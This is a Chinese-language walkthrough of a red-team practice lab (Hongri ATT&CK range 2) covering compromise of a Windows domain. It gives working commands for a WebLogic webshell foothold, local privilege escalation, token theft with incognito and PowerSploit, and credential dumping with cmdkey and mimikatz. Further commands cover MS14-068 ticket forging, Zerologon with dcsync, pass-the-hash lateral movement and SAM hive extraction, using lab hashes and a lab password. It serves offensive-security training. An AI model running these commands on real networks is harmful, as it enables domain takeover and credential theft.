红日靶场-ATT&CK红队评估实战靶场二

靶场不能锻炼思维,只能用于练练手,基本操作一下避免手生。

简易网络拓扑

未命名文件

WEB打点

Weblogic10 XMLDecoder反序列化漏洞,直接上传写入哥斯拉webshell。

webshell地址:http://192.168.124.45/:7001/wls-wsat/test.jsp

image-20220212160424896

Windows提权

weblogic的webshell权限不是administrator权限,这里先cs上线之后进行提权操作。systeminfo查看补丁情况,选择MS16-135提权。这里用cs插件提权查看虚拟机会闪现一个框,之后找找静默的exp。

内网基础信息收集

提权之后需要收集这台机器上某些信息。

一、环境信息

1、网络情况

1
2
3
netstat -ano #查看网络连接
arp -a #查看arp表
route print #路由信息

2、杀软情况和用户运行程序情况

1
tasklist /v

3、内网扫描

根据网络情况,使用扫描工具扫描内网中机器

4、域信息

1
2
3
4
5
ipconfig /all #可查看是否有域
net user /domain #查看域用户
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控制器
net group "domain computers" /domain #查看域机器

总结环境情况,在域中,当前只有sqlserver使用的域用户mssql。

考虑AccessToken令牌窃取mssql用户,进行委派攻击

或者直接利用 GPP(组策略)利用(MS14-025)、Kerberos域用户提权漏洞(MS14-068)、CVE-2021-42287&42278、NetLogon域内提权漏洞(CVE-2020-1472)等。

域控制器ip:10.10.10.10

二、密码信息

1、windows2008R2可以直接mimikatz获取密码情况

2、RDP保存的密码

1
2
cmdkey /l
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

3、浏览器信息收集

4、其他应用密码

靶场通用密码,不直接利用密码。

提升权限

一、AccessToken令牌窃取

AccessToken窃取和利用需要管理员,前面已经提权。

窃取accesstoken的方法:

incognito.exe程序 、InvokeTokenManipulat.ps1脚本 、MSF里的incognito模块

1、incognito.exe

下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

获取所有token

1
incognito.exe  list_tokens -u

image-20220215002830140

如果要使用AccessToken模拟其他用户,可以使用命令

1
2
3
4
5
6
incognito.exe execute -c "完整的Token名" cmd.exe

提权至system:
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe

image-20220215003246767

这里cs实际上在进程列表是可以直接窃取的,演示一下incognito来窃取利用启动exe。可以直接运行cspayload,也可以cs注入到mssql用户进程。

2、Invoke-TokenManipulation.ps1

脚本是PowerSploit下Exfiltration文件夹内的一个脚本

1
2
3
4
5
6
7
8
列举token
Invoke-TokenManipulation -Enumerate
提权至system
Invoke-TokenManipulation -CreateProcess "cmd.exe" -username "nt authority\system"
复制进程token
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制线程token
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

3、MSF-incognito

很少使用msf

二、委派攻击

1、查询非约束委派用户

1
AdFind.exe -b "DC=de1ay,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image-20220215015109814

没有可利用用户

2、查询约束委派

1
AdFind.exe -h 10.10.10.10 -u mssql -up 1qaz@WSX -b "DC=de1ay,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

这里需要域用户账号密码,前面读出来过,但是也没有可利用用户就无所谓了。

3、资源约束委派

1
AdFind.exe -h 10.10.10.10 -u mssql -up 1qaz@WSX -b "DC=de1ay,DC=com" -f "objectClass=computer" mS-DS-CreatorSID

查询机器加入域对应用的域用户,也没查询出sid。

其实应该是通过用户查询有哪些机器,先练资源约束委派而已。

三、GPP(组策略)利用(MS14-025)

微软对于这个洞的介绍:

此安全更新可解决 Microsoft Windows 中一个公开披露的漏洞。如果 Active Directory 组策略首选项用于跨域分发密码,该漏洞可能允许特权提升,这种做法可能允许攻击者检索并解密使用组策略首选项存储的密码。

对于安装在 Windows Vista、Windows 7、Windows 8 和 Windows 8.1 的受影响版本上的远程服务器管理工具,此安全更新的等级为“重要”。对于 Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2 的所有受支持版本,此更新的等级为“重要”。

该安全更新通过删除使用特定组策略首选项扩展配置和分发密码的功能来解决漏洞。

使用Get-GPPPassword.ps1直接查询密码。

1
powershell.exe -exec bypass -command "&{Import-Module .\bea\Get-GPPPassword.ps1;Get-GPPPassword}"

image-20220215021322422

报错,不知道是不是因为没有找到密码,手动查看了下\\dc.de1ay.com\SYSVOL\de1ay.com下没有xml文件记录密码信息。

四、Kerberos域用户提权漏洞(MS14-068)

微软对于这个洞的介绍:

该漏洞可能允许攻击者将未经授权的域用户帐户的权限,提升到域管理员帐户的权限。攻击者可能使用这些提升的权限来侵入域中的任何计算机,包括域控制器。攻击者必须有有效的域凭据才能利用此漏洞。拥有域凭据的标准用户帐户可以远程使用受影响的组件;只有本地帐户凭据的用户则不能。

对于所有受支持的 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 及 Windows Server 2012 R2 版本

使用工具ms14-068:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

1
2
3
4
5
6
7
8
-u:用户名@域名
-s:用户SID
-d:域控制器地址
-p:明文密码
--rc4:在没有明文密码的情况下,通过NTLM Hash登录

例:
ms14-068.exe -u mssql@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-2103 -d 10.10.10.10 --rc4 161cff084477fe596a5db81874498a24

会在当前目录下生成TGT票据。

然后使用mimikatz注入生成的票据就行

1
mimikatz "kerberos::ptc" "TGT_mssql@de1ay.com.ccache"

image-20220220014047496

五、NetLogon域内提权漏洞(CVE-2020-1472)

漏洞原理:

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,可以向域发起Netlogon 计算机账户认证请求, 使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证,再通过相关调用完成对域控密码的修改。

操作步骤:

1、验证漏洞存在

使用新版的mimikatz加入了NetLogon利用的模块。

1
C:\bea\x64\mimikatz.exe "lsadump::zerologon /target:10.10.10.10 /account:DC$" exit

返回 * Authentication: OK – vulnerable 则是可以利用此洞

2、置空域控HASH

域控的机器帐户HASH存储在注册表中,系统启动时会将其加载到lsass,当攻击置空域控HASH后,仅AD (NTDS.DIT) 中的密码会更改,而不是注册表或加载到lsass中的密码,这样将会导致域控脱域,无法使用Kerberos进行身份验证,因此要尽快恢复。

1
C:\bea\x64\mimikatz.exe "lsadump::zerologon /target:10.10.10.10 /account:DC$ /exploit" exit

3、获取域管HASH

1
C:\bea\x64\mimikatz.exe "lsadump::dcsync /domain:de1ay.com /dc:DC /user:administrator /authuser:DC$ /authdomain:main /authpassword:\"\" /authntlm" exit

image-20220220035152207

4、恢复域控HASH

mimikatz工具内置恢复域控HASH是将NTDS.DIT中的凭证以及注册表/lsass中的凭证同时修改为 (Waza1234/Waza1234/Waza1234)并不是原密码,因此不太实用。

要恢复原始hash,先要获取注册表信息中域控原始hash。

这里环境因为DC是在10段所以先用web这台机器生成中转监听

再使用cs的用凭证去横向上线DC

1
2
3
rev2self
pth de1ay.com\Administrator 161cff084477fe596a5db81874498a24
jump psexec_psh DC 10 //10是中转监听的名称、dc是域控名

image-20220220044545851

上线成功了就是获取注册表转储文件,如果中文报错不影响使用

1
2
C:\>reg save HKLM\SYSTEM system.hive /y    
C:\>reg save HKLM\SAM sam.hive /y

下载到本地之后使用mimikatz即可提取DC机器用户的hash

1
mimikatz.exe lsadump::sam /sam:sam.hive /system:system.hive

image-20220220050042702

这里的hash虽然和我们获取到的域管理员hash一致但实际上这是域控的机器账号,只是密码一样。

最后一步就是恢复hash了。

这里就需要用到https://github.com/risksense/zerologon里面的reinstall_original_pw.py了。编译成exe(有12m真实环境可能难受)后直接丢在web这台机器上执行即可。避免python环境还需要代理出来。

1
reinstall_original_pw.exe DC 10.10.10.10 161cff084477fe596a5db81874498a24

image-20220220050621332

结束

其他东西换靶场玩,靶场练手但是尽可能贴近实战去操作,方法选择较多选择实战更方便的。